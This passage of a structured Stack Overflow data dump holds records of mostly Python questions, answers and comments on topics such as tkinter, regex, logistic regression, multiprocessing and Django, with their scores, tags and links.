type: AnswerComment
comment on: http://stackoverflow.com/a/46986757
score: 0

http://stackoverflow.com/comment/80864740
comment on: http://stackoverflow.com/a/46958042
score: 0
type: AnswerComment
has text: Yes. I was thinking it would not work. Well I think I shld post a question to get rid of that .
type: Comment

http://stackoverflow.com/comment/81104929
has text: Whenever I click on the screen when in fullscreen mode regardless of where I click it only records a position of 800, 480
type: Comment
comment on: http://stackoverflow.com/a/47066740
score: 0
type: AnswerComment

http://stackoverflow.com/q/46999321
has comment: http://stackoverflow.com/comment/80945617
tagged with: linear-regression
has title: Simple logistic regression
answer count: 1
has body: I tried to solve a simple linear regression problem of two-dimensional classification. Here I have a feature matrix X_expanded, which has a shape of [826,6]. To classify objects we will obtain probability of object belongs to class '1'. To predict probability we will use output of linear model and logistic function. And here is the function of compute probability. def probability(X, w): """ Given input features and weights return predicted probabilities of y==1 given x, P(y=1|x), see description above Don't forget to use expand(X) function (where necessary) in this and subsequent functions. :param X: feature matrix X of shape [n_samples,6] (expanded) :param w: weight vector w of shape [6] for each of the expanded features :returns: an array of predicted probabilities in [0,1] interval. """ # TODO:&lt;your code here&gt; X = X_expanded m = X.shape[0] w = np.zeros((m,1)) Z = np.dot(w.T,X) P = 1./(1+np.exp(-Z)) return P For a simple test: dummy_weights = np.linspace(-1, 1, 6) ans_part1 = probability(X_expanded[:1, :], dummy_weights)[0] But it always returns array([ 0.5, 0.5, 0.5, 0.5, 0.5, 0.5]). Any suggestion?
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80945986
downvote count: 4
upvote count: 0
type: UnansweredQuestion
score: -4
has comment: http://stackoverflow.com/comment/80946189
tagged with: machine-learning
tagged with: python
has answer: http://stackoverflow.com/a/46999784

http://stackoverflow.com/comment/81007533
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47018637
score: 0
has text: Name org Mr. \n Rex \n D. \n Adams Invesco Ltd. Mr. \n William \n S. \n Allen Macy's Inc. Mr. \n R. \n Wayne \n Anderson Amoco Corporation Prof. \n Chris \n Argyris (1923-2013) Monitor Company Marcia \n J. \n Avedon, \n Ph.D. Ingersoll Rand, plc. Here i want to remove (Full stops and '\n')

http://stackoverflow.com/a/46964547
score: 1
has body: The "a" isn't the one being matched, it's an empty string ("") that's being matched. As you know, the * in regex signifies that the previous group matches 0 or more times - your regex is matching [^ab] 0 times, which is an empty string. Because of this, m is not None, but contains the empty string, which is different from no match. I wrote the assignments into a REPL: &gt;&gt;&gt; import re &gt;&gt;&gt; pattern = '[^ab]*' &gt;&gt;&gt; str = 'a' &gt;&gt;&gt; r = re.compile(pattern) &gt;&gt;&gt; m = r.match(str) &gt;&gt;&gt; m.groups() =&gt; () &gt;&gt;&gt; m.group(0) =&gt; '' &gt;&gt;&gt; m.group(1) Traceback (most recent call last): File "python", line 1, in &lt;module&gt; IndexError: no such group You can see that m.groups() is an empty tuple (and therefore not None), and m.group(0) returns an empty string, which means pattern matched 1 item (since m.group(1) doesn't work), which is an empty string. Try using [^ab]+ to not match anything - the + is like *, but it matches at least once.
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/46964461
downvote count: 0

http://stackoverflow.com/comment/80896415
type: Comment
comment on: http://stackoverflow.com/a/46973913
score: 0
type: AnswerComment
has text: thank you for your help.now it works. really thanks a lot

http://stackoverflow.com/comment/80844729
type: Comment
comment on: http://stackoverflow.com/q/46948053
type: QuestionComment
has text: @Phil Save the current x limits, clear the axes, call `scatter` with the filtered data, restore the x limits.
score: 0

http://stackoverflow.com/comment/80946017
type: Comment
has text: looking at my variable declarations was actually the answer. I was under the impression that train_test_split returned arrays, but it still returns a pandas data frame. when passing the trainingInp.values, the issue went away. Thank you for your help. I guess I need to pay closer attention to my declarations.
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/46999519

http://stackoverflow.com/q/46915196
has body: I'm trying to pass three lists into a function that will then iterate over all values in the lists, and fire them into another function: def main(): l1 = [0,1] l2 = [1,5,10,20] l3 = [15] my_func(l1,l2,l3) def my_func(l1, l2, l3): nested = ((x,y,x) for x in l1 for y in l2 for z in l3) for x,y,z in nested: another_func(x,y,z) def another_func(x,y,z): ... However occasionally I'll need to pass in a None value as one of the lists: l3 = None This results in the error: TypeError: 'NoneType' object is not iterable, because it doesn't like the None value when trying to iterate. I was wondering if there's any way to exclude lists from the iteration if their value is None?
has comment: http://stackoverflow.com/comment/80778080
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/46915401
tagged with: python
has comment: http://stackoverflow.com/comment/80777932
has title: Avoiding "'NoneType' object is not iterable" error when passing 'None' in nested loop
has comment: http://stackoverflow.com/comment/80777807
score: 0
has answer: http://stackoverflow.com/a/46915571
type: Question
answer count: 2

http://stackoverflow.com/q/46958020
upvote count: 3
type: UnansweredQuestion
score: 3
answer count: 1
downvote count: 0
has title: Tkinter Toplevel not working
has comment: http://stackoverflow.com/comment/80865951
favorite count: 0
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/46998636
has comment: http://stackoverflow.com/comment/80866467
tagged with: python
tagged with: tkinter-entry
has body: I'm trying to build a tkinter program that will take a search string from a text field on a main window, then create a child window with the results of the search string. Since I'm new tkinter I'm just trying to get the child window created and have the search string passed to that window for now. When running my program I receive the error: AttributeError: '_tkinter.tkapp' object has no attribute 'Toplevel' regarding line: line 23, in search which is: results_window = self.parent.Toplevel(self) Here is the code: import tkinter as tk #App Constants APP_TITLE = 'TKINTER_TEST' APP_ICON = '\icon\path.ico' #Geo Constants MAIN_WIDTH = 600 MAIN_HEIGHT = 300 MAIN_X = '-0' MAIN_Y = '+0' class MainApp(): def __init__(self, parent): self.parent = parent def get_search(self): pass def search(self, search_string): results_window = self.parent.Toplevel(self) def build_widgets(self): search_string = tk.StringVar() text = tk.Entry(root, textvariable = search_string).pack() search_cmd = tk.Button(root, text="Search", command=self.search(search_string.get())).pack() #MAIN root = tk.Tk() #root.geometry('500x300-0+0') root.geometry('{}x{}{}{}'.format(MAIN_WIDTH, MAIN_HEIGHT, MAIN_X, MAIN_Y)) root.title(APP_TITLE) main = MainApp(root) main.build_widgets() root.mainloop() Am I approaching this the wrong way?
has comment: http://stackoverflow.com/comment/80866289
tagged with: tkinter

http://stackoverflow.com/comment/80914525
score: 1
comment on: http://stackoverflow.com/q/46983274
type: Comment
type: QuestionComment
has text: Also, it is not clear how this index is calculated and printed.

http://stackoverflow.com/comment/81011696
type: Comment
type: AnswerComment
score: 0
has text: OMG, I rolled my eyes when I realised what I'd done wrong.
comment on: http://stackoverflow.com/a/47022774

http://stackoverflow.com/comment/80941285
comment on: http://stackoverflow.com/q/46997241
has text: Is there an algorithm you're trying to implement here?
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/80773414
type: QuestionComment
has text: I have edited my question with my script, please check
score: 0
comment on: http://stackoverflow.com/q/46913137
type: Comment

http://stackoverflow.com/q/46917915
tagged with: tkinter
tagged with: widget
accepted answer: http://stackoverflow.com/a/46918198
answer count: 1
downvote count: 0
upvote count: 1
has answer: http://stackoverflow.com/a/46918198
tagged with: tkinter-layout
has title: Resizing in a grid manager tkinter
favorite count: 0
type: Question
score: 1
tagged with: python
has body: Using tkinter, I wanted to make an interface containing a few buttons on the left, which would be fairly static and align with the widgets on the right fairly nicely. On the right, I wanted an Entry widget above a Text widget, both of which would resize accordingly (the Entry widget only on the X axis). This code accomplishes most of that, except the Text widget does not resize and the Entry widget only resizes to align with the Text widget. Upon trying to column/rowconfigure the root, the top frame resizes awkwardly. Here's a picture of the tkinter interface from this code: from tkinter import * def main(): root = Tk() root.geometry("300x400") framet = Frame(root) frameb = Frame(root) framet.grid(row=0, column=0, sticky='ew') frameb.grid(row=1, column=0, sticky='news') button1 = Button(framet, text='one', width=8) button1.grid(row=0, column=0) button2 = Button(frameb, text='two', width=8) button2.grid(row=1, column=0, sticky='n') entry1 = Entry(framet) entry1.grid(row=0, column=1, sticky='ew') text1 = Text(frameb, highlightbackground='black', highlightthickness=1) text1.grid(row=1, column=1, sticky='news') framet.columnconfigure(1, weight=1) if __name__ == '__main__': main() As you can see, the Entry and Text widgets do not resize. How could I accomplish this whilst still having the Buttons remain static, and not moving anything (only resizing)?
type: AnsweredQuestion
tagged with: python-3.x

http://stackoverflow.com/comment/80873526
score: 0
comment on: http://stackoverflow.com/q/46962763
has text: @StefanPochmann `text.partition(" ")[0]` then, would be faster. But this is code, and there can be _no_ spaces in theory. let me edit... wait there _has_ to be semicolons, so that could work.
type: QuestionComment
type: Comment

http://stackoverflow.com/a/47002465
type: Answer
has body: You can alter fields in the Form's __init__() method: class ProductForm(forms.ModelForm): class Meta: model = Product fields = ['name', 'description', 'url', 'product_type', 'price', 'image', 'image_url'] labels = { 'name': 'Product Name', 'url': 'Product URL', 'product_type': 'Product Type', 'description': 'Product Description', 'image': 'Product Image', 'image_url': 'Product Image URL', 'price': 'Product Price' } widgets = { 'description': Textarea(attrs={'rows': 5}), } def __init__(self, *args, **kwargs): super(ProductForm, self).__init__(*args, **kwargs) if self.instance: # If the instance has no image, they haven't uploaded anything if self.instance.image is None: # Alter the field in the form self.fields['image'].disabled = True You have to be careful about what you're referencing. For example, Product.image is going to give you the attribute on the Product class, which isn't None, because you assigned it models.ImageField(). You want to reference an instance of Product, which is what you can get from ModelForm().instance.
answers question: http://stackoverflow.com/q/47001484
score: 0
has comment: http://stackoverflow.com/comment/80953327
has comment: http://stackoverflow.com/comment/80953745
has comment: http://stackoverflow.com/comment/80953364

http://stackoverflow.com/comment/80979883
has text: I have got only this json, creating df is my question like this above question
type: AnswerComment
comment on: http://stackoverflow.com/a/47013803
score: 0
type: Comment

http://stackoverflow.com/q/46955734
has comment: http://stackoverflow.com/comment/96723379
has comment: http://stackoverflow.com/comment/80886238
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80919296
tagged with: http://stackoverflow.com/tag/rdf
has comment: http://stackoverflow.com/comment/80862497
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80888342
tagged with: python
tagged with: linked-data
has comment: http://stackoverflow.com/comment/80861323
score: 2
tagged with: rdflib
has title: How to parse large triple files?
answer count: 0
upvote count: 2
downvote count: 0
has body: Is there a way to breakdown large triple files (any format), so that they can be parsed? I am currently attempting to load a LOD data dump into a local triplestore using python (rdflib). Also, is there a better (in terms of scalability) alternative to rdflib?
has comment: http://stackoverflow.com/comment/80861401
has comment: http://stackoverflow.com/comment/80888296

http://stackoverflow.com/a/46908239
downvote count: 0
has comment: http://stackoverflow.com/comment/80764957
score: 2
type: Answer
answers question: http://stackoverflow.com/q/46908007
has comment: http://stackoverflow.com/comment/80765288
upvote count: 2
has body: What you need is grouping by the list1 items. Use collections.defaultdict object: import collections list1 = ['670', '619', '524', '670', '693', '693', '693', '632', '671'] list2 = ['JAIPUR', 'MUMBAI', 'DELHI', 'UDAIPUR', 'GOA', 'GOA', 'GOA', 'LUCKNOW', 'JAIPUR'] result = collections.defaultdict(list) for t in zip(list1, list2): result[t[0]].append(t[1]) print(dict(result)) The output: {'524': ['DELHI'], '671': ['JAIPUR'], '632': ['LUCKNOW'], '670': ['JAIPUR', 'UDAIPUR'], '619': ['MUMBAI'], '693': ['GOA', 'GOA', 'GOA']}

http://stackoverflow.com/comment/107502310
score: 0
type: AnswerComment
has text: Suppose I have 3.6 already installed. If I do "conda install -c anaconda python=3.7". Then, does the install command install 3.7 version along-side existing python (I have 3.6 existing) or does it upgrade the existing (3.6) to 3.7?
comment on: http://stackoverflow.com/a/46960195
type: Comment

http://stackoverflow.com/comment/80990596
type: AnswerComment
has text: @user297850 I need to be clear - 'arch_64' is the name of the module, but you would still access the module through what you defined as `arch`. The name is for Python. This will allow importing the file several times under different aliases (never used that but possible).
score: 0
comment on: http://stackoverflow.com/a/47020514
type: Comment

http://stackoverflow.com/q/47038399
has answer: http://stackoverflow.com/a/47038464
has answer: http://stackoverflow.com/a/47038520
type: Question
accepted answer: http://stackoverflow.com/a/47038503
tagged with: python
has answer: http://stackoverflow.com/a/47038503
has title: Python way of managing dependencies
has comment: http://stackoverflow.com/comment/81023410
has body: So In PHP, We normally pass our dependencies through constructor. like &lt;?php class Downloader { public function __construct(LoggerInterface $logger){} } But in Python (I am beginner), I see we can use objects defined outside of class scope can be used directly. logger = logging.getLogger('mylogger') class Downloader(): def download(): logger.alert('I am downloading..') I want to understand the recommendations of how python developers use services inside class.
type: AnsweredQuestion
answer count: 3
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/81023513
upvote count: 1
possible better answer: http://stackoverflow.com/a/47038464
favorite count: 0

http://stackoverflow.com/q/46910427
has comment: http://stackoverflow.com/comment/80771080
has title: Memory management in Python C extension
tagged with: arrays
tagged with: python
tagged with: http://stackoverflow.com/tag/c
score: 2
answer count: 0
upvote count: 2
downvote count: 0
favorite count: 0
type: Question
tagged with: numpy
has body: I'm writing a C extension for Python that is going to speed up some matrix operation that is not covered bu numpy or any other library. The operation itself takes 3 numpy 4d arrays, and returns 2 4d arrays. Since it seems like numpy C-api only supports up to 3d arrays I'd like to ask what would be the best idea for allocating all those arrays. Should I allocate each array as one contiguous memory block? Should I do it as an array of pointers to 3d arrays? What's going to work best performance-wise?
has comment: http://stackoverflow.com/comment/80775477
type: UnansweredQuestion

http://stackoverflow.com/comment/80870212
type: QuestionComment
comment on: http://stackoverflow.com/q/46961361
type: Comment
has text: @simplycoding note that isinstance != type, for example, False is an instance of int, but not of type int.
score: 2

http://stackoverflow.com/comment/80772141
score: 0
type: Comment
has text: Apologies, I'm confused -- do you mean I have unnecessary spaces somewhere?
type: QuestionComment
comment on: http://stackoverflow.com/q/46912465

http://stackoverflow.com/a/46940369
has comment: http://stackoverflow.com/comment/80828199
has body: You must keep a reference to the timer object, otherwise it will be immediately garbage-collected when initUI returns: class Tiny_System_Monitor(QtGui.QWidget): ... def initUI(self): ... self.timer = QtCore.QTimer() self.timer.timeout.connect(self.updateMeters) self.timer.start(1000)
answers question: http://stackoverflow.com/q/46940232
type: Answer
upvote count: 4
score: 4
accepted answer of: http://stackoverflow.com/q/46940232
downvote count: 0
type: AcceptedAnswer

http://stackoverflow.com/comment/80989196
has text: @M Newville thanks for your reply i dont know why i am recieving this error even with your working version, maybe there is another problem, i am using Python 2.7.14 in widows 7, is it possible that because of this i have this problems.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47005615

http://stackoverflow.com/q/46909752
has answer: http://stackoverflow.com/a/46951525
score: 0
tagged with: azure
tagged with: azure-functions
has body: I have already written Azure Functions in Python, and know there's also official support for other popular dialects - JS, Java, .NET, etc. BUT, I have a special scenario, where I wish to execute some functions originally written in bash, or to be able to access such *nix utilities as calc, sed, awk and more. I know that Azure Functions are meant to abstract away the server and even environment(?), but is there a way one can still install and run *nix like utilities or for that matter any exes (since *nix can port). Some ideas am toying with: include binaries in /bin folder of my python project, and then invoke it using something like: from subprocess import call call(["cal", "-y"]) Problem; Can I do this without having to deploy my own binaries? TL;DR: How to execute own binaries and access Shell inside Azure Functions?
answer count: 1
type: Question
type: UnansweredQuestion
tagged with: python
has title: How Can I Execute *nix or BASH SOURCE CODE in Azure Functions?

http://stackoverflow.com/a/47017436
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47016940
answers question: http://stackoverflow.com/q/47016940
score: 1
type: Answer
has body: That looks like an interesting problem. Comparing your code with the description on Wikipedia it seems that you are missing the constants in the transformation. I have added those below. def barnsley(x, A): """Barnley's fern: x: initial point in 2D a: matrices [A_0,...,A_m-1]""" m = A.shape # should be (4, 2, 2), last column for bias fs = [0,1,2,3] i = f = np.random.choice(fs, p=[0.01, 0.85, 0.07, 0.07]) y = A[i] @ np.append(x[0], x[1]) if i == 1 or i == 2: y[1] += 1.6 elif i == 3: y[1] += 0.44 return(y)
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/80766104
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/46909586
type: Comment
has text: Do you know how to change the x labels so they don't show 00:00:00 times after dates?

http://stackoverflow.com/comment/80930986
comment on: http://stackoverflow.com/q/46970220
type: QuestionComment
has text: I just study the module and came across such a problem
type: Comment
score: 0

http://stackoverflow.com/q/46971011
has answer: http://stackoverflow.com/a/46971540
accepted answer: http://stackoverflow.com/a/46971540
has comment: http://stackoverflow.com/comment/80889506
has title: While loop on python not working correctly?
has answer: http://stackoverflow.com/a/46972133
type: Question
has comment: http://stackoverflow.com/comment/80889776
tagged with: while-loop
answer count: 5
has body: I'm learning python through the Automate the boring stuff with python, and as I was progressing through the initial chapters, I decided to try to code something different than what the author purposes. During a toxicology class, the teacher said that a type of snails was dying up to 12% per year. So I decided to make a code to calculate that. The code I made is this: number= input('Number of individuals: ') #tells the number of individuals in the beggining count = 0 #tells the nuumber of generations number=int(number) percent=input('% of loss per generation ') #% of individuals lost in each generation percent=int(percent) #while number &gt; 1: # number= number*(percent*0.01) # number=round(number,-1) # count = count +1 #print('generation ' + str(count) + ':' + str(number*0.1) + ' individuals') #if number == 1: # print(' it took ' + str(count) + ' generations to end with the species') while True: if number == 1: print(' it took ' + str(count) + ' generations to end with the species') if number &gt;1: number= number*(percent*0.01) number=round(number,-1) count = count +1 print('generation ' + str(count) + ':' + str(number*0.1) + ' individuals') if number == 0 : break The first code that i tried to made is in comments, and I tried to make another way to try to solve my problem. My problem is : I want to input the number of individuals and the percentage of losses. In the end (which is 1 because the individual can't mate with itself), I want it to tell me the number of generations it took to end with the species. The problem begins when the program loops one more time than its supposed (and before i used the round() function it even loops more times) because I don't want the 0 value, and the fact that when it reaches 1 I want it to tell me how many generations it took to end with it. I tried to look for answers but because I'm a beginner I may not know correctly the terms to do the proper search. The way I see it, the program should be running like I wanted, but I guess…
tagged with: python
has answer: http://stackoverflow.com/a/46971543
has answer: http://stackoverflow.com/a/46971867
type: AnsweredQuestion
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/80889569
score: 0
has comment: http://stackoverflow.com/comment/80889638
has answer: http://stackoverflow.com/a/46971361
possible better answer: http://stackoverflow.com/a/46971361

permutation
tags question: http://stackoverflow.com/q/47004945
type: Tag
tags question: http://stackoverflow.com/q/47008483
tags question: http://stackoverflow.com/q/46992516
tag name: permutation
tags question: http://stackoverflow.com/q/46964469

http://stackoverflow.com/comment/80766747
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/46909876
has text: Sorry, I must dedicate more time to search than ask. I have found the `hide` option searching on the tkinter documentation.

http://stackoverflow.com/comment/80971003
score: 1
comment on: http://stackoverflow.com/q/47012130
has text: Your method looks ok (`*args, **kwargs` is not needed, but that shouldn't make any difference). Can you edit the question and add the full traceback?
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47013268
score: 8
accepted answer: http://stackoverflow.com/a/47031636
has comment: http://stackoverflow.com/comment/80973287
tagged with: pool
has comment: http://stackoverflow.com/comment/80986299
has answer: http://stackoverflow.com/a/47031636
has body: The problem: When sending 1000 tasks to apply_async, they run in parallel on all 48 CPUs, but then sometimes fewer and fewer CPUs run, until only one CPU left is running, and only when the last one finishes its task, then all the CPUs continue running again each with a new task. It shouldn't need to wait for any "task batch" like this.. My (simplified) code: from multiprocessing import Pool pool = Pool(47) tasks = [pool.apply_async(json2features, (j,)) for j in jsons] feats = [t.get() for t in tasks] jsons = [...] is a list of about 1000 JSONs already loaded to memory and parsed to objects. json2features(json) does some CPU-heavy work on a json, and returns an array of numbers. This function may take between 1 second and 15 minutes to run, and because of this I sort the jsons using a heuristic, s.t. hopefully the longest tasks are first in the list, and thus start first. The json2features function also prints when a task is finished and how long it took. It all runs on an ubuntu server with 48 cores and like I said above, it starts out great, using all 47 cores. Then as the tasks get completed, fewer and fewer cores run, which at first sounds perfectly ok, where it not because after the last core is finished (when I see its print to stdout), all CPUs start running again on new tasks, meaning it wasn't really the end of the list. It may do the same thing again, and then again for the actual end of the list. Sometimes it can be using just one core for 5 minutes, and when the task is finally done, it starts using all cores again, on new tasks. (So it's not stuck on some IPC overhead) There are no repeated jsons, nor any dependencies between them (it's all static, fresh-from-disk data, no references etc..), nor any dependency between json2features calls (no global state or anything) except for them using the same terminal for their print. I was suspicious that the problem was that a worker doesn't get released until get is called on its result, so I tried the following …
has comment: http://stackoverflow.com/comment/80976833
tagged with: multithreading
answer count: 1
downvote count: 0
favorite count: 0
type: Question
tagged with: multiprocessing
type: AnsweredQuestion
tagged with: performance
upvote count: 8
has comment: http://stackoverflow.com/comment/80976800
has comment: http://stackoverflow.com/comment/80973233
has title: python multiprocessing Pool not always using all workers
has comment: http://stackoverflow.com/comment/81008324
tagged with: python
has comment: http://stackoverflow.com/comment/81008387

http://stackoverflow.com/q/47062007
tagged with: numpy
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/47062180
tagged with: matrix
answer count: 1
tagged with: arrays
tagged with: scipy
has comment: http://stackoverflow.com/comment/81072214
type: Question
has answer: http://stackoverflow.com/a/47062180
has title: Iterating through matrix in python using numpy
has body: I want to generate a resultant matrix by iterating through 5 different matrices and firstly i want to take first value of all matrix and take the average of these values and append the result as the first value of resultant matrix. Can anyone tell how to do this in python using numpy library??
tagged with: python

http://stackoverflow.com/q/46940622
has answer: http://stackoverflow.com/a/46940836
downvote count: 0
tagged with: python
upvote count: 7
tagged with: compiler-optimization
has comment: http://stackoverflow.com/comment/80828725
has body: Does the Python compiler recognize constants defined within a function, such that it only computes their values once regardless of how many times the function is subsequently called in the code? For example, def f(): x = [ 1, 2, 3, 4 ] # stuff for i in range( 100 ): f() Would x be recalculated the 100 times f() is called? It is not always possible to define constants outside the function that uses them, and I'm curious if Python has got your back in these situations.
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80828540
tagged with: performance
score: 7
has title: Python compiler and constants defined inside a function
possible better answer: http://stackoverflow.com/a/46940751
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80828673
has answer: http://stackoverflow.com/a/46940751
accepted answer: http://stackoverflow.com/a/46940836
answer count: 2

http://stackoverflow.com/comment/81011122
score: 0
type: AnswerComment
has text: thanks for your answer. I did like you say, but i have error `the JSON object must be str, bytes or bytearray, not 'ModelYears'` i updated question
type: Comment
comment on: http://stackoverflow.com/a/47032188

http://stackoverflow.com/comment/81035405
type: QuestionComment
score: 0
has text: are you using ObjectID as key in your collection?
comment on: http://stackoverflow.com/q/47043180
type: Comment

http://stackoverflow.com/a/56648021
has body: Another approach could be an in-memory intersection of the posting lists (for your AND cases, you can enhance this for OR, NOT, etc). Attached a simple merge algorithm to be performed on the posting lists, assuming that the lists are sorted (increasing doc_id order, this can be easily achieved if we index our terms correctly) - this will improve time complexity (O(n1+n2)) as we will perform linear-merge on sorted list and might stop earlier. Now assume our positional inverted index looks like this: (similar to yours but with posting lists as lists and not dict's- this will be allow compression in future uses) where it maps- String > Terms, while each term consists of (tf, posting list ([P1, P2,...])) and each Posting has (docid, df, position list). Now we can perform a simple AND to all of our postings lists iteratively: def search(self, sq: BoolQuery) -&gt; list: # Performs a search from a given query in boolean retrieval model, # Supports AND queries only and returns sorted document ID's as result: if sq.is_empty(): return super().search(sq) terms = [self.index[term] for term in sq.get_terms() if term in self.index] if not terms: return [] # Iterate over posting lists and intersect: result, terms = terms[0].pst_list, terms[1:] while terms and result: result = self.intersect(result, terms[0].pst_list) terms = terms[1:] return [p.id for p in result] Now lets look at the intersection: def intersect(p1: list, p2: list) -&gt; list: # Performs linear merge of 2x sorted lists of postings, # Returns the intersection between them (== matched documents): res, i, j = list(), 0, 0 while i &lt; len(p1) and j &lt; len(p2): if p1[i].id == p2[j].id: res.append(p1[i]) i, j = i + 1, j + 1 elif p1[i].id &lt; p2[j].id: i += 1 else: j += 1 return res This simple algorithm can be later expanded when performing phrase search (edit the intersection to calculate slop distance, e.g: |pos1-pos2| &lt; slop)
score: 3
upvote count: 3
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/46977923

http://stackoverflow.com/comment/80918384
type: Comment
has text: One minor optimization within your existing approach is to use a `set()` during the first pass instead of a `Counter()`. If you are simply trying to build the corpus, you don't need a `Counter`. In any case, I strongly urge you to consider a sparse matrix implementation like `scipy.sparse.csr_matrix`.
comment on: http://stackoverflow.com/q/46965524
score: 1
type: QuestionComment

http://stackoverflow.com/a/47015970
score: 0
has body: This works, but you shouldn't do it: for r in api_responses: for k,v in r.items(): globals()[k]=v
answers question: http://stackoverflow.com/q/47015582
type: Answer
has comment: http://stackoverflow.com/comment/80978201
has comment: http://stackoverflow.com/comment/81007775

http://stackoverflow.com/comment/81029335
type: QuestionComment
score: 0
has text: Did you try something like `app.config.from_pyfile('config/my_project/default.py')`?
comment on: http://stackoverflow.com/q/47040776
type: Comment

http://stackoverflow.com/q/46958247
type: UnansweredQuestion
has body: So my question is quite unique and I couldn't find any easy solution for it online. I got a C++ program which sends UDP packets that are basically array of structs struct Player { std::string name; int team_number; } Now I got another Python script which receives those packets. My goal here is to read the packets directly to a Player struct in my Python script. Can that be done?
tagged with: python
has title: Read a struct sent by a c++ program to a struct python
has comment: http://stackoverflow.com/comment/80863931
tagged with: c++
tagged with: udpclient
score: 0
tagged with: udp
answer count: 0
has comment: http://stackoverflow.com/comment/80868907
has comment: http://stackoverflow.com/comment/80864061
has comment: http://stackoverflow.com/comment/80864043
has comment: http://stackoverflow.com/comment/80864154
has comment: http://stackoverflow.com/comment/80864027
type: Question
tagged with: struct
has comment: http://stackoverflow.com/comment/80867019
has comment: http://stackoverflow.com/comment/80867216
has comment: http://stackoverflow.com/comment/80864079

http://stackoverflow.com/q/46912898
tagged with: django
possible better answer: http://stackoverflow.com/a/46927962
tagged with: python
accepted answer: http://stackoverflow.com/a/46913874
has answer: http://stackoverflow.com/a/46927962
score: -1
type: AnsweredQuestion
answer count: 2
has comment: http://stackoverflow.com/comment/80773359
upvote count: 0
tagged with: templates
has body: I'm working on django projects and I have a problem : I would like to pass the results of function to a dynamic template. def liste_ebauche(request): if not request.is_ajax() and not request.method == 'GET': raise Http404 try: param_json = None param = request.GET for json_liste_eb in param: param_json= json.loads(json_liste_eb) of_select= param_json['numof'] reponse= {} reponse_json= {} reb={} c=connection.cursor() c.execute("BEGIN") c.callproc("p_web_get_ebauche",[of_select]) ebauches=c.fetchall() c.execute("COMMIT") c.close() html = render_to_string("paquet/ss_ebauche.html", locals()) except Exception as e: logger.warning("error :" + e.message) return HttpResponse(html) In my templates i' m doing : {% for ebauche in ebauches %} {{forloop.counter}} {{ebauche.ebauche}} {{ebauche.type}} {{ebauche.longueur}} {{ebauche.ligne}} {% endfor %} It's ok if I transmit a queryset but not with results function. How can I adapt result function to transmit to my template? Please help me.
downvote count: 1
has comment: http://stackoverflow.com/comment/80772899
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/46913874
has title: How to pass function result to template?

http://stackoverflow.com/comment/81002465
comment on: http://stackoverflow.com/a/47026944
score: 0
type: Comment
has text: How do you mean by example? like a use case or? I just commented on my own question what the input could look like if thats what you mean. :)
type: AnswerComment

http://stackoverflow.com/comment/80948649
type: Comment
comment on: http://stackoverflow.com/q/47000716
has text: run python in your command prompt . Is python install ? If not add python path.
score: 0
type: QuestionComment

http://stackoverflow.com/a/47033309
has body: Let's encode those characters. Example: DON'T use them directly in source code: SPECIAL_CHARS = u"aAàÀảẢãÃáÁạẠăĂằẰẳẲẵẴắẮặẶâÂầẦẩẨẫẪấẤậẬ" Let's use: SPECIAL_CHARS = u'aA\xe0\xc0\u1ea3\u1ea2\xe3\xc3\xe1\xc1\u1ea1\u1ea0\u0103\u0102\u1eb1\u1eb0\u1eb3\u1eb2\u1eb5\u1eb4\u1eaf\u1eae\u1eb7\u1eb6\xe2\xc2\u1ea7\u1ea6\u1ea9\u1ea8\u1eab\u1eaa\u1ea5\u1ea4\u1ead\u1eac' You can encode string to utf-8 and use it normally: encoded_str = SPECIAL_CHARS.encode('utf-8') print(type(encoded_str)) print(encoded_str)
answers question: http://stackoverflow.com/q/47033180
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1
accepted answer of: http://stackoverflow.com/q/47033180
has comment: http://stackoverflow.com/comment/81013029
type: Answer

http://stackoverflow.com/comment/80923231
type: QuestionComment
score: 1
has text: There is no such thing as a "dictionary with double quotes". :) A dictionary is a data structure, it does not have any quotes. Quotes are *one* way to represent that data structure when you need to print it out, like on the Python console. Python's `print()` function decides to represent (i.e. "serialize to string") the data structure using single quotes. The same data structure when serialized with JSON is represented with double quotes. They both are string representations of the same thing.
comment on: http://stackoverflow.com/q/46988220
type: Comment

http://stackoverflow.com/comment/81074798
comment on: http://stackoverflow.com/q/47063257
type: QuestionComment
has text: Clearly `leaders` is empty thus `leaders[0]` throws an exception.
type: Comment
score: 1

http://stackoverflow.com/q/46996644
upvote count: 1
score: 1
